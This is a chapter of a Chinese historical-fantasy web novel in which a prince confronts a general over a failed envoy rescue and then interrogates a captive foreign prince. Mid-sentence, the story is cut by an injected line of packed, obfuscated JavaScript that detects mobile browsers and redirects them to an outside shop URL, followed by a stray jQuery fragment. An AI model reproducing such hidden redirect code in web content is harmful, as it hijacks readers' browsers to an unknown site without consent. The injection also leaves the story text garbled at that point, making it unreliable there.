所谓瞎猫撞上死耗子便是如此。这恐怕也能算是他苟延残喘的好运里的一部分,不用他费心思急着上门找,直接就有天瀚军的人从头到尾跟着他。
说实话,这样再好不过了。霍络佐在经历了一个人面对郑桓那帮士兵搞得死去活来后,现在精疲力尽,只想躺尸,坐等靠谱的人来安排他该去哪儿去哪儿,省的他费脑子。
不过阿琊这个人...还是有点出乎意料。
骑兵绕城而行,路上鲜少有查身份的官或兵,若遇到了,骑兵便亮出军牌,不多废话,速速通行。看得出,骑兵是不想让人注意到他。所以,如他所料,天瀚军短期内的计划确实是瞒下使队一事。
这嘉楠城里有潜伏的杀手,难怪整座城的管治和身份追踪如此严格。虽说难民涌入,身份追查本就理应严格,以免什么不三不四的人混在良民之间,但嘉楠城这严谨的程度也是令人惊叹的。庵州善后局被天瀚军掌控了一半,这点霍络佐在王宫里便有所耳闻。现在看来,不愧是军队治理,雷厉风行。
这番严治,也确实派上了很大用场,虽不清楚他们是怎么探查的,但能在杂乱的难民营帐群中发现有人意图纵火的蛛丝马迹,且准备充分,只片晌便将场面控制收拾了,如此精密,不得不佩服。
天瀚骑兵带着他来到了城中一条大街上的一座建筑,外观气概不凡,两座猛兽石像在大门两侧,守卫士兵站了两排。
应是嘉楠城府衙。
话说嘉楠一城,是边境商贸大城,正如克林城一般,自古以来繁华都是远近闻名的。嘉楠城府衙是接待外国使者、大商、学者等贵客的重要场所,建筑的气派估计在所有言阊城中也是数一数二的。不过眼下因为战火损失,外大门好像连牌匾都没了。
骑兵这次未亮军牌便直接进入,想来,此人在军中是个有头有脸的人物,士兵认得他。
入门后,两人下马。骑兵知道他有腿伤,伸手搀着他,带他向右侧廊庑走去。
他搀扶霍络佐的手臂有些拉动的意味,似乎想走快一些,有些急,但霍络佐方才没有马镫可以搭脚,腿在马上摇摇晃晃,伤口好像裂开了,这会儿好几处都发痛,已经很努力地在走,但是一瘸一拐,完全没法走快。
“邓将军,许多日未见到你了。”
后方忽然传来一阵脚步声,好像有十几人。牵着霍络佐的骑兵,姓邓的这位将军,脚步停住了。
他转头,看向唤他的人。
霍络佐也随着他转身过去。来者十几人有的是佩甲士兵,有的未佩甲,看服饰估计是城里的什么文官。那位领头的身上的铠甲做工更为精致,一看便知是一个高职位的将领。
那领头将军的身后,另一位佩甲士兵道:“邓将军不是在陪主帅休沐么?怎么突然一个人回来了?你这带个小孩子…”
“在处理军务,恕不便闲谈。”邓将军行了个简单的颔首礼,拉着霍络佐就准备快速迈步离开。霍络佐被这么一扯,脚被迫瘸着走起来,只得赶紧咬牙忍住疼,努力走。
而那名领头的将军声音却突然冷声道:“不会是烔格王子吧?”
他身后的人皆是一片惊诧的神情。
邓将军驻足片刻,没搭理他,准备继续向前走,却听见那名将领再次冷声道:“站住!”
“邓予斌,二话不说就想走是什么意思?这说不过去。”
邓予斌停住了。
邓予斌彻底转过身,站在原地,淡淡地看着他,用客气的语气道:“柴音,我问你,庵州大营现在仍是谁在掌军?”
名唤柴音的将军神情冷漠,答道:“你天瀚。”
邓予斌道:“东战元帅此次拜的是谁?我做什么事,需要向你一一汇报吗?”
柴音语气也很客气道:“你若处理你军中私务,我自然不会多管闲事,但.....”他语气逐渐转变了,瞟了一眼霍络佐,“若涉及到这种事,谁是东战元帅都得出来跟大家讲清楚吧?想瞒天过海,不合适。”
“你误会了。”邓予斌平静道:“涉及到这个,没有人会想瞒天过海。但对于一些重要之事,若不先将其来龙去脉调查清楚便广告全军,会搞得人心惶惶。这个道理无论谁做元帅都理应明白遵循。怎么,听柴将军的意思,是倘若你做一战元帅,便不是这般行事吗?”
“少搬弄是非。”柴音皱眉严肃道:“七日了。调查?调查得如此拖沓,实在不像你们军队的作风。主客司使队本该七日前到关城,但抵达的前一日传来求援,天瀚精兵却阻拦我在关城放兵!这拖到现在未给解释,未免有些说不过去。”
邓予斌笑着摇摇头叹道:“柴音,你这才算是在咬文嚼字,搬弄是非了。此前不是已解释过了?从没有阻拦关城放兵一说,而是你看到那封求援飞书时,殿下早前一天便已经收到了相同的书信,且当晚已经带兵出发前往使队。已经派出了援手何必又派一次,我们多此一举做什么?”
柴音这回更加深沉了:“你这么说,就更是错漏百出了。殿下那夜从关城偏门走,带了几人?”
他抢在邓予斌说话前便自答道:“精兵四十人!”他说的声音极大,似是刻意要让身后所有士兵将领都听到,随后几乎笑了一下,说,“四十个人,他去驰援使队?涉及到停战的大事,我们元帅在干什么?你们在干什么?”他表情瞬间严肃了。
他走向前,继续道:“第二日严帅说不必前去救援,此前已有兵队去过。但在关城偏门,他慌慌忙地就往外送自己人,又分两波派了天瀚精兵八十人。悄悄补救,是怕别的士兵撞见你们筹备不足,怕颜面扫地么?邓予斌,附近那帮蛮匪如今确实也惧怕我们,但他们始终不是好对付的东西。这般轻敌,我问你,你们最后救回来什么?”
他眼神在月光下格外凌厉:“一群尸体。”
他声音很大,刻意弄得身后的二十几人士兵与将领都听见了,此时一片惊愕。
邓予斌一时没有说话。
柴音道:“主客司的人至今不见踪影,是全没了对么?我知道那些尸体的事,看情况,护卫队几乎全军覆没,连天瀚精兵也只回来了十几人。”他忽然看向霍络佐,冷冽的语气里似乎突然有一丝紧绷道:“我现在不是在开玩笑,你们不会只救回来一个孩子吧?另一个呢?”
他身后的士兵将领闻言皆面色沉重,有的开始低声私语。
柴音逼问道:“你压着所有的遗体,还打算动什么手脚?蛮匪纵火烧营,还是偶遇天灾?当然怎么都总好过是因救援不足,打斗致死。”他攥拳,语气无比严肃:“与蛮匪交手不是大战,但也绝非儿戏!撒安糜里人不是一帮只会在丛林里乱砍乱杀的平民暴徒。依玛荒沙的局面与永州和南境大城内不一样,这点早就有人提醒过!决策失误,哪怕只有这一次,后果恐怕也不好承担。”他声音冷得有些恐怖。
邓予斌快步走向前。
“听着。听好了。”他双眼瞪着柴音,咬牙低声道:“使队一事,比你想的复杂,我劝你不要在这儿添乱。我们所有出兵举动当然有原因的,有些事情暂未告知,也自然是时机未到不能告知,这个道理你是不懂吗?你有问题不私下来问,偏要今夜把这么多人带来府衙追问,你是抽风了吗??”
霍络佐虽然全程没听懂啥,但此刻却能看出来先前一直礼貌克制的邓将军现在真的有点急了。
府衙大门传来士兵的脚步声,一些人随着声音向那儿望去。
“怎么回事?谁抽风了?”
大家都向那儿看去。
霍络佐听见那十分熟悉的声音,也向那儿看去,没想到他回来那么快,不过邓将军为了躲避人眼来府衙几乎是在整座城外绕了大半个圈,他若是直接从城中大道快马穿过来,确实会快许多。
他望着走过来的人,忽然眉头一皱,然后再定睛看了看,随后两眼一黑。
靠。
是阿琊。
但是…
…阿琊换下了那一身在医馆穿的烂灰衫,此刻身擐银铠,与那些身后跟着他的士兵一样。那铠甲的设计轻巧,甲片分断开来,一对护肩护臂在烛灯的光下泛着依稀暗光,上面皆刻有言阊祥纹。但!这都不是重点,重点是——他胸前的护胸甲与其他将领不同,镌镂出的并不是祥纹,而是波浪图形,浪纹之间则是一副怪物的图案。
就是看到这个,霍络佐两眼一黑。
言阊宣武帝楚晋怀第六子,楚洬溟,十二岁随帝赴北海,出使母妃洹族群岛之国。返程途中船队遭遇海怪袭击,皇六子与巨兽海面相搏将其宰杀,斩其尾刺。洹族古言曰:斩鲮兽者,英武神勇,可安定四方。帝闻此言甚欣,命人将尾刺铸成长戟赐予皇子。
皇六子十六岁持戟领兵平暴乱,十七岁成军天瀚,率兵赴战南境边疆,一举击溃西南五国联军,一战成名。
那胸甲上镌刻的怪物,是鲮兽,象征此人年少之时便可只身屠戮海中巨怪的勇猛。
他是楚洬溟。
.
“六殿下。”
在场的所有人,该行军礼的抱拳行军礼,该行揖礼的抬手作揖礼,只有霍络佐站在原地呆滞了。
阿琊...不对,楚洬溟,向给他护卫的邓将军走过去,很认真地问道:“谁抽风了?”
“......”邓将军似乎是还沉浸在刚才那股气愤当中,攥着拳,同时给主帅撞见了自己骂人,眼下似乎有些尴尬。他未出声,移眼,用眼神示意,瞟向站在对面的柴音。
“柴将军。”楚洬溟微颔首一下,语气礼貌。
“六殿下。”柴音语气冷漠。
“你哪里抽风了?”楚洬溟询问。
“......”在场没有一人作答。
楚洬溟也不多等,语气转为严肃,但嗓音却平静道:“你是有什么疑问吗?说来听听。”
柴音此时也不再像方才对峙邓将军时那般,不再放肆,他虽是针对着漓渊王,但也注重礼数,缓缓道:“殿下,邓将军方才,正试图与臣等解释救援主客司使队一事,毕竟此事疑点重重。微臣只是想问,使队如今救到哪儿去了?”
楚洬溟看着他,面色没有波澜。
他平静地回答道:“没救到哪儿去。他们意外遭遇蛮匪袭击,基本没救回来。”
府衙前庭里的这些人听到自然是心中震惊,在他面前已收住许多不好展露,但此事实在太过严重。
柴音身后一名将领眼神紧绷道:“殿下..?您的意思是....”
柴音深沉道:“这不是小事,六殿下。”
楚洬溟看着他道:“你也知道这不是小事?你还把军中那么多高职官都带来这儿找邓予斌吵嚷追问,什么企图?”
柴音没有说话。
片刻后,他道:“事关重大,殿下需告知军中并解释清楚,救援为何失败,使队到底还剩几人。”
楚洬溟道:“事关重大,自然就得理清来龙去脉才能向大家解释清楚。不然你觉得我应当如何?今晚就站在城墙上对全军说:使队全死了,停战谈崩了,又要开打了。你觉得合适吗?”
“已经过去了七日。”柴音的语气像是在提醒,“为何救援失败。使队求援,您应援赶去依玛沙漠只带四十人。蛮匪很好对付吗?如果蛮匪是这种小问题,使队会向关城求援吗?殿下为何在这种至关重要的事情上,不与旁人商讨,一意孤行,以致决策失误。”他一字一字道。
“哦。原来你是觉得本王,轻敌了。是吗?”楚洬溟道。
柴音紧皱眉头道:“那是依玛荒沙,无论是什么部落的蛮匪,驰援使队确实都不该如此冒失!”
楚洬溟盯着他,眼神忽然变得锋利了。
“轻敌,冒失,从来没有人敢用这两个词形容我,你是第一个。我知道了,这么看来,”他轻慢道:“你今天是真的抽风了。”
“我说了,事关重大,得在合适的时机才能广而告之。你既然今天心急,我便略说一二。第一,主客司使队这次,根本救不了。我早一日带千人军队也赶不到,你后一日若在关城放兵驰援也赶不到。他们遭袭的原因,是因为护卫队自作主张,擅自在不该停留的地方停留太久了。我们谁都无法当场赶过去。”
“第二,我带去的精兵,尚未归来,因为此时此刻全部都在原地守着事发现场,当日根本没怎么和蛮匪交手,到那儿时已经只剩下残局了。第三,我正好有件事要请教一下。”楚洬溟这回认真问道:“柴将军与诸位将军,可听过一个叫‘郑桓’的御林军侍卫?”
柴音只觉得莫名其妙,皱眉道:“没有,那是什么人?”
“回殿下,未曾听过。”
“臣也并未听说过。”
楚洬溟与邓予斌对视了一眼,随后道:“不打紧。看来,真的只是一个无名小卒了。”
柴音问:“什么无名小卒?”
楚洬溟道:“一个主客司使队里的领头护卫之一,也是我要告知你的第三件事,虽是误打误撞,但这个护卫队,死得好,死得漂亮。”
柴音更加莫名其妙道:“何出此言?”
楚洬溟道:“这就是为什么,我让你少管闲事。因为事情复杂,一定要等理清后才能找时间全部说清楚,再安排后续怎么处理。柴音你最近一点儿都不忙吗?怎么别人都忙得不得空的时候,你那么有闲空追踪这些不在分内的事?得亏这次笖山平等会没让你帮忙处理,不然,像你此刻这般分心,”楚洬溟冷讽道:“嘉楠城怕是要给他们烧成灰了。”
他继续道:“你今日引众多人聚集在府衙,是为了什么?为了质问我是否在蛮匪一事上轻敌了?你我已一起共事了十个月,你自己听听不觉得这很好笑吗?我从前没觉得你是个冒失的人,今天怎么回事?”
“是最近等这样一个机会等太久了,好不容易抓到一次,就贸然赶过来了吗?准备揪我的错,在朝廷上参我一本?”
“你心里觉得我不该斩侯川旭吗?”
柴音沉默了片刻,随后平静回道:“殿下误会了。”
他解释:“臣确实是担忧停战受阻,不愿此事出太大差错。军中将领也都是心有担忧。”
楚洬溟将语气放轻下来不少,没刚才那么咄咄逼人,道:“是会受一定影响,但大概率不会有太大的变故。诸位手头上的事都做好,做到位就行。”
在场的士兵城官皆答:“是。”
楚洬溟紧接着就道:“柴音,侯川旭之事,没有第二种选择。因为连你也劝不动他。”
“他有多偏执,偏执到什么程度,往后会有什么样的举动,我不信你心中无数。”
“我知道侯将军是你的恩师,但,”楚洬溟声音忽然放低了很多,缓缓道:“凡是将领也都受恩于麾下将属兵卒。”
“你也想息战还庵州大营几年安宁,所以你应该明白他只能被军法处置。”
“行事太急!”柴音突然忍不住咬牙道:“若给臣时间,臣当然能劝得动侯帅——”
“劝不动。”楚洬溟道:“你若还纠结于此事,不妨与你的上尉交心谈谈。孙赫与侯帅相处的日子不比你少,你问问他是怎么想的。”
站在柴音身边的那位将军垂下了眼,随后,他低声向柴音唤了一句,“主帅。”
那一声,语气似是含了劝解的意味。
楚洬溟道:“不多说了,都有事要忙。你今后不要再受困于此事了。”
他转身便走。
柴音站在原处没有说话。
一个身影突然从后面的人群中跑出来,脚步莽撞,眨眼间就向正要离开的人扑过去。
楚洬溟闻声已转身,反手勾出了旁边士兵腰上的佩剑,速度快得简直像是从掌心里变出来一把剑。
但他仅是条件反射用剑护一下身,没有什么多余的举动。因为方才一直在他身边的医馆车夫已经冲上前,挥剑,用剑鞘一把将扑过来的人打飞了出去,滚在了地上。
那人戴的士兵盔帽飞了出去,疼得站不起来,狼狈地在地上爬着,却依然要爬向前面的人。
他一边爬一边哭吼道:“凭什么?!”
在场一片惊愕,士兵立即围过去擒住了那人。邓予斌已经松开了抓着霍络佐的手,走到主帅身边,似乎心有余悸。楚洬溟则摇摇头,示意自己没事。
柴音与身边将领快步赶上前,那廉卫军的上尉孙赫抓住被擒人的下巴,狠狠抬起来,结果瞬间自己的下巴差点惊掉下来了。
他愣愣道:“侯小公子....”
柴音则是方才就已经识出他了,几乎震惊得说不出话,片刻后,才哑声怒目道:“你怎么会在这里......”
“你这些都是什么?!”他一脚踹在侯公子穿着的士兵腰甲上,“为什么穿着这个?!为什么混在这里?!”他似乎气得发疯,一下把孙赫推开,随后抬起手就是一巴掌就打在这位侯小公子的脸上,继续骂道:“你想干什么?你疯了吗?!”
“我要讨个说法!”那男子哭喊道,他被打得鼻青脸肿,眼泪和鼻涕都混在了一块儿,此刻一边说话一边抽泣,嘴唇都发抖,“...我...我要讨说法....凭什么...凭什么...?!庵州现在的哪一块土地不是我兄长守来的?!去年九月...您还不在庵州...那时候多少人都在退缩...但我兄长就没有退缩!即便后来烔军入境...他也死撑着在!如果没有他...整个庵州就被画进别人的地图里了!他明明是替您守江山的功臣...!您犯糊涂....您斩自己身边的忠臣良将....!您斩了忠臣良将!”随后放声哭了起来。
他哭得极为伤痛,委屈,然后悲愤到几乎瘫在地上,嗓子也哑了,这般失态,看起来应该年纪不大。
“跪起来...!”柴音拽着他的手臂,这场面狼狈不堪,“跪着!”
可是想给一个瘫成这样的人摆姿势,实在困难,柴音和孙赫两个人拉都拉不起他。
这局面变得很尴尬。
楚洬溟立在原地,微微张口,却似乎不知该说什么,一直没出声。
沉默了好久,他才道:“侯公子,未佩剑,连臂甲都戴反了。想来,应该没要行刺。”
那被两个将军拉扯着的侯小公子愣了一瞬,然后立即咬牙喊道:“我当然没要行刺!我要向你讨说法...!我要您为我兄长的事道歉...!我的侄儿才六岁!我...他...”他哭得近乎失声。
“闭嘴!!”柴音朝他吼训道。
“侯公子不要再说了。”孙赫低沉道。
整个前庭只剩下这个男子的哭声,除此之外没有任何人敢发出别的声音。
楚洬溟望着眼前的人,思考了一会儿,然后忽然说:“柴音,你来。”
柴音面色深沉,放手把瘫在地上的男子交予自己的上尉看管,起身,走向楚洬溟。
楚洬溟看着他的眼睛,认真地道:“侯川旭有两个儿子、一个弟弟、一个妹妹。大儿子十五岁,小儿子六岁,从小都去了金都,跟小叔侯公子一起,在最好的学宫里读诗习经。他家四个男儿皆是康健男子,但除他以外,没一个习武,侯小公子甚至连军甲都不会穿。听闻他妹妹去年年初嫁人,嫁的是金都文官,是他亲自安排的亲事。侯川旭做了半辈子的武将,身边好友都是武官,甚少认识什么文官,但是为了亲妹的婚事还是刻意跑到金都去参加官宴应酬认识人脉,最后给妹妹安排了一个工部文官做郎君。你觉得,这是为什么?”
柴音没有说话。
“因为他知道沙场上持刀挥剑的人没有好下场。他根本就不觉得当将领兵士是一个好归宿。但是他在我们身边的时候是怎么说的?”
“‘少壮盛年当为士,为国战死是无比荣耀。’。侯帅,一直都是这么说的。”身后的孙赫一直听着他们的对话,此时突然默默插道。
楚洬溟淡淡笑了一下:“这没什么,这种话你我都会说。大敌来袭,不可能让一个没有士气的军队出去迎战,做帅首的,总得要一张能激斗志、忽悠人的嘴。但你难道没发现,侯川旭他已经太过了吗?”
“你知道他后来在我与孙赫面前是怎么说的吗?在克林城外,他说,”楚洬溟复述道:“‘沙场赴死无比荣光。庵州的将士这才战到哪儿?既是言阊的好儿郎,随我们闯上哪儿都应无所畏忌,慷慨献命!’”楚洬溟叹笑,“他难道还真觉得这便是言阊的好儿郎?若侯家公子都能挥得起长枪,倒又是另一件事了。但不是。他的至亲至爱都在内境护得好好的,他却在边境轻易就把话说得那样激。不过是觉得......”
“兵卒都是些可以随意挥霍的贱命罢了。”楚洬溟一字一字说。
柴音没有说话,默默攥起拳。
楚洬溟道:“所以他大晚上带人在城外击锣鼓,燃火把,吟战歌。他那张嘴厉害,你知道的,完全是天生的将领,搞得孩子们振奋得都睡不着觉。他想把庵州的少年带往远方继续杀,也没打算把他们带回来。他想挽回五年前的事,因为心里总觉得廉卫军有这么一点脸面放不下,那么用这些贱卒的命,努力一把,换回自己的脸面,也不是什么不值得的事情啊。”
楚洬溟问:“你觉得有人能拦得住他?”
柴音微微张口,楚洬溟直接插道:“即使你当下拦住他了。我们回南境后,你和孙赫便要面对一个整晚要带言阊好儿郎们唱战歌的主帅。他那颗心一旦起来了就不会再死心了,他还是个急性子,用不了几个月,边境就又会乱了。你迟早也会与他反目,但那个时候你都不一定奈何得了他了。你们根本不想看到廉卫军和整个庵州大营又被整得死去活来的,你想让庵州至少喘口气,最好能有个机会从根部把庵州防卫重新建设好。所以,侯川旭不能做廉卫军主帅。”
“他也是被推上去的,那时候他是很勇猛善战,危机时刻力挽狂澜,但他这样领军,稍微再久一点就要反噬了。”楚洬溟淡淡道:“我也想让他想通自己下来,我不想折将,可是...”
“侯将军下不来了。”孙赫默默插道,“将军那样高傲,好脸面,忍受不了任何退步的事。他向来都是要么往上去,往前冲,要么死。”
楚洬溟点了点头,道:“况且那时候,也不是他愿不愿意退主帅位的事,那时候他心里只有一个想法:都在门口了,他得杀出去,除非他死,否则脚步就不该停下。柴音,没有人能劝动他的。”
柴音垂着眼,没有说话。
“希望柴将军今后不要再受困于此事了。”楚洬溟再次说道。
他站在原地沉默了片晌,然后抬头看向孙赫那边,忽然又道:“侯公子成年了吗?”
柴音默默道:“十八岁。”
“还没说亲?”
“尚未。”
楚洬溟道:“那不如你给他挑一挑吧。公子之后早一些成家或许能早一些成熟一点,以后不会再轻易做出这种莽撞之举了。”
良久后,柴音淡淡道:“是。”
孙赫听到这句话,才终于敢将跪在地上哭泣的侯小公子扶了起来。
楚洬溟向后面所有人冷声道:“各归职守,不允许讹传今夜之事。违者斩。”然后对身边的医馆车夫道:“走吧。”
邓予斌将霍络佐拉上,扶着他跟在天瀚军的几个士兵后面走,下一刻,却发现六殿下走来了面前。
霍络佐抬头看着他。
楚洬溟也看着他,两人乍然对视,楚洬溟眼里也有一丝尴尬,但尴尬转瞬即逝,随后便表情正常地向邓予斌说:“他腿痛的,抱他走。”
邓予斌愣了一下,然后才反应过来,赶忙道:“是。”
.
霍络佐被安排在房间里吃鸡丝面。
房间内,一名士兵,着天瀚军军甲。一名译官,年纪不大,烔格语熟练,为边境口音。二人站得离他有些远。还有一名医官,方才为他看了腿伤,换药处理后,又出去了。
房间外,士兵四人守门。
霍络佐扒着碗喝汤,放下碗后,看着碗里的剩下的面,随意道:“我想请问,只是好奇,言阊的面为何是透明的?”
译官行了一个女官礼,语气颇为礼貌:“回少王,这不是面,这是绿豆制成,言阊语称‘粉丝’,是常见主食,粉丝都是透明的。”
“哦。”霍络佐道。
探一下态度。
这一碗份量很大,他吃得很饱,吃不下了,便撑着额头在桌子上休息。译官问他是不是不吃了,他点点头,外面士兵便进来收了碗。
然后紧接着,他刚准备在桌子上趴下来,楚洬溟就走了进来,吓了他一大跳。
“霍络佐王子。”
楚洬溟在对面的椅子上坐下。此时的他已经卸了铠甲,穿着一身淡色的言阊圆领袍,皮革制的护腕,衣服上没什么花纹,但布料很厚实精良。
穿成这样就和先前不一样了。此人虽然面容极为好看,但他气场不明显,因此在医馆穿着灰头土脸的衣服时,就会散发出...灰头土脸的气场,不知道这样形容准不准确。反正当时可以说他是一名长得绝色的商家小郎,但察觉不到太多别的。
现在就不一样了,这种衣服一穿,气场就变了。
“漓渊王。”
楚洬溟看着他,点头,缓缓道:“恕我在医馆没有向你表明身份,那时事发突然,且那里人多眼杂,有诸多不便,还请王子理解。”
霍络佐道:“嗯。”当然理解,他又没有不理解的选项。
楚洬溟不多废话,直奔主题道:“有一些事情需要向王子询问清楚,沟通清楚。我慢慢说,王子不必紧张。我问的所有事情如实回答即可,不用向我隐瞒任何事。”
他的说话很平静缓慢,给了译者足够时间翻译,语气听起来应该是很礼貌,但这话的内容...警告的意味一点儿也不少。
楚洬溟道:“你的身体上有字迹,我的译官看过,说落款人是你本人。是吗?”
霍络佐点头回答:“是的。我的本意就是希望你能看到。二公主说过,与漓渊王在边境会面交谈颇为顺畅,漓渊王停战意愿明显。使队护卫队做出如此惊天之事,企图伪造假象骗过所有人,我希望你能够看到真相。想来若你有能力,便会把事情拉回正轨。”
楚洬溟看着他,没有立即回答。
或许也是第一次听到这个孩子这般说话,楚洬溟也有意外之感。在医馆交流时毕竟因为语言问题,这孩子讲话一直如同结巴挤字儿一般艰难...如今才算是总算从他嘴里听见了一段完整的正常的话,虽然是听不懂的语言。
霍络佐平静道:“我想要万无一失,便在身上留下字迹,因为猜想护卫队若想瞒天过海,就不能太过挪动我的身体。箱箧内的衣服里藏了更完整的内容,只是我当时不能保证它一定能被人看到。”
楚洬溟道:“我看过了。了解了整件事情。”他顿了顿道:“且颇为幸运的是,使队里有眼线,也有护卫活了下来,一番严刑拷打,都能够证实你的内容。”
霍络佐几乎惊了,哦他的讷瓦神呐,他居然这么好运。
原本他确实还要担心一下旁人不信他一个人写出来的东西,没想到啊,他的好运都显现在这种事情上了,简直感天动地。
“护卫队的人动了歪心,让你受了很大惊吓,蛮匪袭击你也受了伤。言阊使队护卫的人出了问题,我在此向你道歉。”楚洬溟道。紧接着他就问:“娜娥丽公主在使队内携带了大量毒物,王子对此作何解释?”
霍络佐听他问起这个,背后就冒了一层汗。
他垂眼,一字一句道:“与政殿、军殿皆无关。与任何人都无关。娜娥丽携毒,是她自己一个人犯的大错。”
“她胆子那么大啊?一个十一岁的小姑娘。”楚洬溟道。
“她娇生惯养,不知轻重,自私自利。”
霍络佐心中也有气,既然楚洬溟想听实话,他便干脆以实话答,直接这么回。
他在医馆没有表现过任何丧妹之哀,只庆幸自己活了下来,此刻故作悲哀地为公主说什么辩解的好话这个人不会信的。况且,现在情形不同于当时在使官面前了。言阊护卫队里都有人不顾大局地发大疯,烔格公主发疯的事也就减轻了许多,半斤八两。
“既知她娇生惯养,不知轻重,自私自利,政殿还把她送来言阊。”楚洬溟微微眯眼,说话虽依旧轻缓,但语气有些耐人寻味。
霍络佐也不慌,慢慢解释道:“政殿不知道这些呀......政殿只知道她母妃最受王上宠爱,母妃家族为朝中大官,她本人也是王上最疼爱的女儿,在所有公
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604545|205697||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主中地位数一数二。政殿决定将她送来言阊的考量是这些。既要停战,若不送出一个身份尊贵的人,就表现不出诚意。烔格人一向都知道诚意最重要。可是谁都没想到她对自己人背刺一刀......”
“犯这样的事,她的母妃会受重罚,甚至她的母族都会受影响。没有教育好公主,致使公主酿成影响国事的大错,这是重罪。谁都没想过她能自私自利到这种地步.....平日里父王只能看到她俏皮可爱的模样,便觉得她面对此事也会像平时一样乖巧听话。但她私下里其实是什么样的人,做决策的人肯定了解不全的,漓渊王同为皇子,应该能理解一点我说的吧......”
楚洬溟点了点头。
随后他道:“砃石王宫里,秘药阁的毒这么容易拿到吗?”
霍络佐心跳漏了一拍。怎么这么刁钻......
“你认为,没有人引导她,没有人帮她?”
“我......”
霍络佐决定装傻:“我觉得没有。”
“你觉得没有。”楚洬溟仅仅只是重复了他的话,霍络佐就已经觉得压迫感十足。
他肯定心中有裁断了...霍络佐当然不想他的疑心就这样一直悬起来放不下,于是道:“但你这么一说!我觉得可能真的有诶...娜娥丽这个人,平日在王宫里经常责罚一些让她不爽的下人,什么别的公主的侍卫啊、别的殿的侍女太监之类的。如果有人趁这次机会悄悄助她做这种事,很有可能诶.....因为她自己身边的人当时都被二公主监管住了啊,很严格的,几乎全都被禁足。但是现在想想,管得再严也保不准有别的仇视她的下人趁机作祟。那些下人都是目光短浅,不管国家大事,只会为了一己之私乱来......唉这种事很难方方面面都监察到吧,来接我们的使队也是,言阊朝廷又怎么能预想到安排的护卫队里竟然有一堆不怀好心的人呢......”
楚洬溟动了动眉头,“七王子。”
他坐立起来,看着他道:“有一些先后顺序,是要弄清楚的。若公主没有携带大量毒物,任谁,有什么心,都燃不起来,做不出任何出格之事。言阊护卫队,无论安排了什么人,本都不会出任何问题。”
霍络佐没有说话。
他安静了一会儿,随后心一横,开口道:“真的吗....?”
霍络佐垂着眼低声道:“我觉得我不是很清楚诶....漓渊王不知道,他们真的好可怕,在路上就一直怒视我,我每次才吃几口饭就催赶路,收我的饭,饿着我,说话很凶,我听不懂但他们肯定就是在骂我.....后来一出事就朝我拔剑,剑抵我脖子,再之后还掐我,打我,狠狠踢我.....从来都没有人这样对过我,我真的觉得他们从一开始就想杀死我......”
“......”
楚洬溟这回什么话都不好说了。
他只能看一眼自己的译官:“给他拿块绢布擦眼泪...”
霍络佐呜咽呜咽地接过绢布,擦了一把脸,听见对面的人缓缓道:“护卫队后来的作为确实是让王子受惊了。但他们在京城皆是有家世的人,倘若他们要做的事情没有一个能够洗清罪责的机会,是绝不敢贸然行事的。所以若没有公主携毒,他们什么事都不敢......王子别哭了...我看你留信之举挺处变不惊,不觉得你是个胆子小的人,怎么现在脱险了回想一下却哭成这样?”
“我留信不代表我不害怕啊....我怕死了....他们给我灌毒水,还企图饿死我,我...你真的不知道他们有多可怕,我差点就没命了......”
其实清楚他当然是清楚啦....但这话嘛,当然是要往对自己有利的方向拉扯啦。
楚洬溟只能道:“...不会有事了。你身上的毒也全解了,现在除了一些皮外伤,和饥饿引起的虚弱,你的身体没别的问题。”
提到这个,霍络佐倒是留心了一下。这件事,他琢磨许久了。
霍络佐道:“我...身上的毒,真的全解了?明明是烔格内境的毒药...甚至我都不知道是什么,怎么这么快就能解了?”
“你命大。”
霍络佐愣了一下。
楚洬溟道:“解药为言阊机密,恕不可告知,但王子可以放心。这几天你昏昏沉沉,可能半梦半醒没什么意识,但军医一直都在给你喂汤药,此刻毒已经解干净了。”
霍络佐道:“哦....”这他确实是想不起来了。“那这个解药,对身体有什么...影响吗?”
楚洬溟道:“没危害。影响也就一点点,快结束了吧。”
霍络佐疑惑地看着他。
楚洬溟道:“你最近做了很多噩梦吧。估计还有个五六日,就不会再做了。”
原来是这样。
“把眼泪擦干。”楚洬溟吩咐道。
霍络佐听他的,安静照做。
“使队出了大变故,停战一事最终会如何,要看与烔格一方的交集了。霍络佐王子现在是我唯一的质子,便要懂得自己的重要性,不要让自己出任何差错,也不得做任何僭越之举,否则后果绝不会是你想要的。”
霍络佐听他这么说,很明显是夹了一丝威胁的意味,心中不悦,微微皱眉,冷静回答:“当然的。我既受王上嘱托,为政殿使者,便会尽我该尽之职,不负所托,此外别无他心。”
楚洬溟微微道:“哦。那你醒过来就跳楼那是...?”
天呐….霍络佐一下子就没气势了。
霍络佐:“那…那是个意外…!我当时是,我….你也说了解药有做噩梦的影响...我噩梦醒来整个世界天旋地转!眼前一片模糊,我当时什么都看不清...”
楚洬溟点点头:“嗯。那以后头晕别站窗户边,王子注意安全。”
哎…霍络佐心中大糗,又回忆起从窗户掉下去的那个瞬间,以及后续和这个人一起摔到马棚里的事,简直是...不知道该说什么。
楚洬溟继续道:“王子的言阊语让我颇为意外,甚至连字都会写。几岁开始学习的?”
这一句话,他忽然问的像是在聊天一般。
…霍络佐现在大概明白为什么这人会在医馆和他一起耗那么久了,估计就是他的言阊语引起了注意,或者是说怀疑。按常理来说,从小就刻意去学习外国语言的皇子很少。一般都是等到大一点后,君王对某个皇子有刻意的安排,比如说想让他去当出使礼官,或者哪个战线的武将、军师,才会刻意地安排他去学习了解。而像他这样身为质子,还没到一个国家却已经能够使用它的语言,还像是学了不短时间。这说出去总感觉哪里有点怪怪的…….是吧?
霍络佐道:“这个呢…请漓渊王你千万不要误会了。我学习言阊的语言文字,完全是一个很巧的巧合。漓渊王应该知道我母妃早逝,从小是在书吏跟前养大。他们其实是书吏也是象胥,隔三差五就需要做各种翻译,我只是有一些耳濡目染。我不是专门学习言阊语言,我是杂七杂八的都学一点,别说言阊语,洹语我也会一两句呢,也识得几个字母和调符,我现在就可以写几个给你看…”
